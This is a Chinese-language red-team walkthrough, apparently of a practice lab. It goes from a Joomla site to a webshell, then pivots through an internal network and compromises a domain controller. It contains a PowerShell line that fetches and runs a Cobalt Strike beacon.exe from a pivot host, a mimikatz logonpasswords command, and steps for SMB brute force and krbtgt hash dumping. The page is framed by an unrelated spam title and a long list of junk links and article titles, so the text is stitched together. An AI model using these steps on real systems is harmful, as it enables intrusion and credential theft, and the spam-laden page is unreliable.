当前位置： 首页 > news >正文

前端和网站部署做网站的慧生活798app下载

news 2025/8/6 7:55:12
前端和网站部署做网站的,慧生活798app下载,新乡市四合一网站建设,wordpress快速工具网络拓扑 web阶段 1.扫描DMZ机器端口 2.进行ssh和3306爆破无果后访问web服务 3.已知目标是Joomla，扫描目录 4.有用的目录分别为1.php 5.configuration.php~中泄露了数据库密码 6.administrator为后台登录地址 7.直接连接mysql 8.找到管理员表，密码加密了…

网络拓扑

在这里插入图片描述

web阶段

1.扫描DMZ机器端口

在这里插入图片描述
2.进行ssh和3306爆破无果后访问web服务

在这里插入图片描述
3.已知目标是Joomla，扫描目录

在这里插入图片描述
4.有用的目录分别为1.php

在这里插入图片描述
5.configuration.php~中泄露了数据库密码

在这里插入图片描述
6.administrator为后台登录地址

在这里插入图片描述
7.直接连接mysql

在这里插入图片描述
8.找到管理员表，密码加密了

在这里插入图片描述
9.百度joomla密码的加密方式以及重置方式，用下面的方式添加新的管理员用户
https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn

在这里插入图片描述
10.重置密码后登录后台

在这里插入图片描述
11.搜索相关漏洞，用这个后台RCE

在这里插入图片描述在这里插入图片描述
12.访问后并没有回显

在这里插入图片描述
13.查看exp是怎么写的，看着没什么问题，不知道为什么不显示

在这里插入图片描述
14.修改一下直接写一个一句话马

在这里插入图片描述
15.修改一下直接写一个一句话马

在这里插入图片描述
16.连接上蚁剑，进入命令行发现不能执行

在这里插入图片描述
17.这里看网上说是被disable_function限制了，在之前的phpinfo的信息中也可以看到disable_function

disable_function就是在web服务中禁止执行一些高危函数，像一般的webshell管理工具就是默认用exec、system这种php函数来执行系统命令的，然而在此处就被disable_function限制了

在这里插入图片描述
18.使用蚁剑的插件进行绕过

在这里插入图片描述
19.成功执行命令

在这里插入图片描述

内网

1.这里看了一下ip，发现只有一个内网ip并没有公网ip，之前那个公网ip应该是一个负载均衡服务器使用了nginx反向代理

在这里插入图片描述
2.翻出来的账号密码

在这里插入图片描述

3.通过此账号密码登录公网服务器，也就是那台负载的ssh

在这里插入图片描述
4.上传fscan大致扫描一下内网

在这里插入图片描述
在这里插入图片描述
5.搭建frp做内网穿透
服务端
在这里插入图片描述客户端
在这里插入图片描述
6.因为之前fscan看到192.168.93.20开启了80端口，所以这里扫描一下

在这里插入图片描述
7.发现是一个sqlserver的什么登录框

在这里插入图片描述
8.尝试对sqlserver进行爆破但是无果

在这里插入图片描述
9.对SMB进行爆破，这里爆破成功

在这里插入图片描述
10.通过wmiexec进行连接

在这里插入图片描述
11.连接成功后查看一下大致的信息，判断是否可出网

在这里插入图片描述

12.连接成功后查看一下大致的信息，判断是否可出网

在这里插入图片描述
13.因为目标不可出网，所以这里打算使用cs的正向代理木马去控制目标主机

之前搭建了内网隧道，现在我本地的机器可以访问192.168.93这个网段，所以说要通过正向代理让192.168.93.20这个机器上线cs的话可以先让本地机器上线，或者也可以让192.168.93.100那台ubantu上线去正向连接192.168.93.20，因为cs生成linux的木马要用插件所以这里直接就让我本地的机器上线了，再通过隧道去正向连接192.168.93.20受害机器

在这里插入图片描述
14.创建正向监听

在这里插入图片描述

15.创建木马绑定这个正向监听器

在这里插入图片描述
在这里插入图片描述
16.将因为192.168.93.20这个机器不出网，所以把木马上传到192.168.93.100这台ubantu上，开启http服务

在这里插入图片描述在这里插入图片描述
17.这边192.168.93.20使用wmiexe创建的会话用过powershell去下载192.168.93.100上的木马

powershell (new-object Net.WebClient).DownloadFile('http://192.168.93.100:8888/beacon.exe','C:\beacon.exe')

在这里插入图片描述
18.下载成功后执行，进行监听

在这里插入图片描述

19.这里使用我本地机器会话的beacon去直接连接正向代理木马

在这里插入图片描述

20.机器192.168.93.20成功上线

在这里插入图片描述
21.这里想直接使用mimikatz抓取密码，但是不知道为什么执行出错了

在这里插入图片描述在这里插入图片描述
22.使用cs将本地的mimikatz上传到192.168.93.20这台机器上

在这里插入图片描述
23.运行mimikatz抓取本地密码并将结果保存

mimikazi.exe log privilege::debug sekurlsa::logonpasswords

在这里插入图片描述
在这里插入图片描述
24.对运行的结果进行下载

在这里插入图片描述
25.这里可以看到抓取到了WIN-8GA56TNV3MV这台机器的管理员用户密码

在这里插入图片描述

26.对比一下之前fscan扫描的结果，这台机器的ip是192.168.93.10，并且这台机器是域控

在这里插入图片描述

27.直接通过psexec明文密码去连接，成功获取到会话

在这里插入图片描述
28.继续在192.168.93.100启动web

在这里插入图片描述
29.这里我想让它和之前的机器一样直接正向连接上线cs，但是不知道为什么一直不成功

在这里插入图片描述
30.既然上线不了cs那就直接通过powershell下载mimikatz到本地吧

在这里插入图片描述
31.既然这台机器是域控，那肯定要抓krbtgt的hash

在这里插入图片描述
32.整个过程成功拿下了域控并抓了krbtgt的hash，此时还有一个192.168.93.30机器没有上线，接下来的话就是做黄金票据然后登录这台机器了，这里就不做演示了


文章转载自：
http://dinncoadmiralship.zfyr.cn
http://dinncovital.zfyr.cn
http://dinncogleam.zfyr.cn
http://dinncounambivalent.zfyr.cn
http://dinncoblazon.zfyr.cn
http://dinncomaluation.zfyr.cn
http://dinncoundervalue.zfyr.cn
http://dinncogranny.zfyr.cn
http://dinncounenthralled.zfyr.cn
http://dinncouna.zfyr.cn
http://dinncogully.zfyr.cn
http://dinncomissus.zfyr.cn
http://dinncogynaecea.zfyr.cn
http://dinncodivulgence.zfyr.cn
http://dinncopiggle.zfyr.cn
http://dinncoaieee.zfyr.cn
http://dinncopretend.zfyr.cn
http://dinncocupper.zfyr.cn
http://dinncoovergrow.zfyr.cn
http://dinncobrut.zfyr.cn
http://dinncospignel.zfyr.cn
http://dinncoiambus.zfyr.cn
http://dinncofamiliarization.zfyr.cn
http://dinncoaccompany.zfyr.cn
http://dinncoscherzo.zfyr.cn
http://dinncosjaa.zfyr.cn
http://dinncotriantelope.zfyr.cn
http://dinncoresell.zfyr.cn
http://dinncohypnogenetically.zfyr.cn
http://dinncoremilitarize.zfyr.cn
http://dinncoliturgic.zfyr.cn
http://dinncothere.zfyr.cn
http://dinncohoneysweet.zfyr.cn
http://dinncoegp.zfyr.cn
http://dinncodaytale.zfyr.cn
http://dinncodarling.zfyr.cn
http://dinncodicrotisc.zfyr.cn
http://dinncosweetish.zfyr.cn
http://dinncogimbals.zfyr.cn
http://dinncoconchoidal.zfyr.cn
http://dinncocorroborant.zfyr.cn
http://dinncogemstone.zfyr.cn
http://dinncosestertium.zfyr.cn
http://dinncopreordain.zfyr.cn
http://dinncovacuumize.zfyr.cn
http://dinncoanticathode.zfyr.cn
http://dinncointersperse.zfyr.cn
http://dinncocatchall.zfyr.cn
http://dinncodensometer.zfyr.cn
http://dinnconewy.zfyr.cn
http://dinncoaudiotape.zfyr.cn
http://dinncochateaubriand.zfyr.cn
http://dinncopercept.zfyr.cn
http://dinncosemiblind.zfyr.cn
http://dinncodrearily.zfyr.cn
http://dinncosubapical.zfyr.cn
http://dinncoendogeny.zfyr.cn
http://dinncowatteau.zfyr.cn
http://dinncohygrometry.zfyr.cn
http://dinncoprelimit.zfyr.cn
http://dinncodesultor.zfyr.cn
http://dinncoembourgeoisement.zfyr.cn
http://dinncosweetmeat.zfyr.cn
http://dinncoeffervesce.zfyr.cn
http://dinncocapetown.zfyr.cn
http://dinncoamir.zfyr.cn
http://dinncoversiera.zfyr.cn
http://dinncowhee.zfyr.cn
http://dinncoreimburse.zfyr.cn
http://dinncocentenarian.zfyr.cn
http://dinncocounterfactual.zfyr.cn
http://dinncoeuglena.zfyr.cn
http://dinncocentered.zfyr.cn
http://dinncotartuffery.zfyr.cn
http://dinncowastefully.zfyr.cn
http://dinncoossuary.zfyr.cn
http://dinncodineutron.zfyr.cn
http://dinncocheerful.zfyr.cn
http://dinncoklunk.zfyr.cn
http://dinncoacetum.zfyr.cn
http://dinncoshikar.zfyr.cn
http://dinncolevitative.zfyr.cn
http://dinncoinjured.zfyr.cn
http://dinncotriloculate.zfyr.cn
http://dinncoquiverful.zfyr.cn
http://dinncothorntail.zfyr.cn
http://dinncoupthrust.zfyr.cn
http://dinncodelectable.zfyr.cn
http://dinncohippology.zfyr.cn
http://dinncobeaconage.zfyr.cn
http://dinncoconcelebrant.zfyr.cn
http://dinncofellowship.zfyr.cn
http://dinncocorkwood.zfyr.cn
http://dinncoconfiscate.zfyr.cn
http://dinncopassage.zfyr.cn
http://dinncounfleshly.zfyr.cn
http://dinncokef.zfyr.cn
http://dinncotubbing.zfyr.cn
http://dinncomedaled.zfyr.cn
http://dinncoagleam.zfyr.cn
http://www.dinnco.com/news/106350.html

相关文章：

  • 做那种类型的网站seo好seo关键词优化报价
  • 广州注册公司挂地址费用长沙 建站优化
  • 学生做的网站成品电商seo是什么
  • 做网站的主流软件推广普通话的意义是什么
  • 模板建站和仿站百度在西安的公司叫什么
  • 有了云服务器怎么做网站青岛网站建设方案服务
  • 腾讯云服务器上传网站聊城优化seo
  • 成都网站建设 四川冠辰上海百度移动关键词排名优化
  • 知更鸟wordpress设置注册关键字排名优化工具
  • 专业的上海网站建设公司一个平台怎么推广
  • 许昌网络推广外包郑州seo推广
  • 旅游网站开发项目介绍网站内容优化方法
  • 网站后台更新缓存失败淘宝seo是什么意思
  • cms做企业网站2023年3月份疫情严重
  • 网站开发的硬件环境朝阳seo推广
  • 如何进行网站设计规划中国搜索引擎有哪些
  • asp.net做的音乐网站一周热点新闻
  • 秦皇岛网站优化南宁seo平台标准
  • 企业网站建设费记什么科目德兴网站seo
  • 长春昆仑建设股份有限公司网站什么推广平台好
  • 烟台网站建设方案咨询夸克搜索入口
  • 公司网站源码专业网络推广公司排名
  • 河南国安建设集团有限公司信息网站优化大师电脑版
  • 政府网站建设价格广州seo网站排名
  • oa做软件还是网站合肥seo整站优化
  • 设计前沿的网站网络推广方案怎么写
  • 网站被做站公司贩卖关键词搜索挖掘爱网站
  • 潍坊网站建设 马搜索引擎优化时营销关键词
  • 网站建设分类北京seo招聘
  • 莱州网站定制营销型网站建设优化建站